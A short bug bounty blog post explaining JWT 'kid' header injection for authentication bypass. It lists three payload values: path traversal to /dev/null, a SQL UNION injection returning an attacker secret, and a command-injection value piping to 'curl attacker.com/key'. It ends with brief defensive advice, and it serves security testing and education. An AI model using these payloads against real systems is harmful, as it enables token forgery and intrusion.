DEV Community

Zahidul Islam
Zahidul Islam

Posted on Edited on

Bug Bounty Tip: Exploiting JWT kid Header Injection for Authentication Bypass

#authentication #cybersecurity #infosec #security

JSON Web Tokens (JWTs) are everywhere, but implementation flaws in key retrieval mechanisms continue to yield critical authentication bypasses in bug bounty programs.

🎯 What to Look For

When decoding a JWT, inspect the header for a kid (Key ID) parameter:

{
  "alg": "HS256",
  "kid": "key1"
}
Enter fullscreen mode Exit fullscreen mode

The kid header is designed to specify which key the backend server should use to verify the token signature. However, if the server fetches or queries this key without strict sanitization, serious vulnerability patterns arise.

🧪 Attack Vectors to Test

  1. Path Traversal / Null Key Bypass: 
   "kid": "../../../../dev/null"
Enter fullscreen mode Exit fullscreen mode

Mechanism: If the server reads the key file from the filesystem path specified by kid, pointing it to /dev/null causes the server to verify the signature using an empty string ("") as the HMAC secret key.

  1. SQL Injection via Key Retrieval: 
   "kid": "key1' UNION SELECT 'attacker_secret'-- -"
Enter fullscreen mode Exit fullscreen mode

Mechanism: If the server retrieves cryptographic keys from a database query, injecting a UNION SELECT returns a known attacker secret, allowing arbitrary signature forging.

  1. Command Injection / Remote Key Injection: 
   "kid": "key1|curl attacker.com/key"
Enter fullscreen mode Exit fullscreen mode

Mechanism: Unsanitized shell execution or SSRF via external key resolution endpoints.

If the backend relies on user-supplied kid headers to resolve signing keys dynamically, you can frequently forge tokens for administrative accounts and achieve full authentication bypass.

Ensure your token verification layers enforce strict allowlists and static key mappings.

Top comments (0)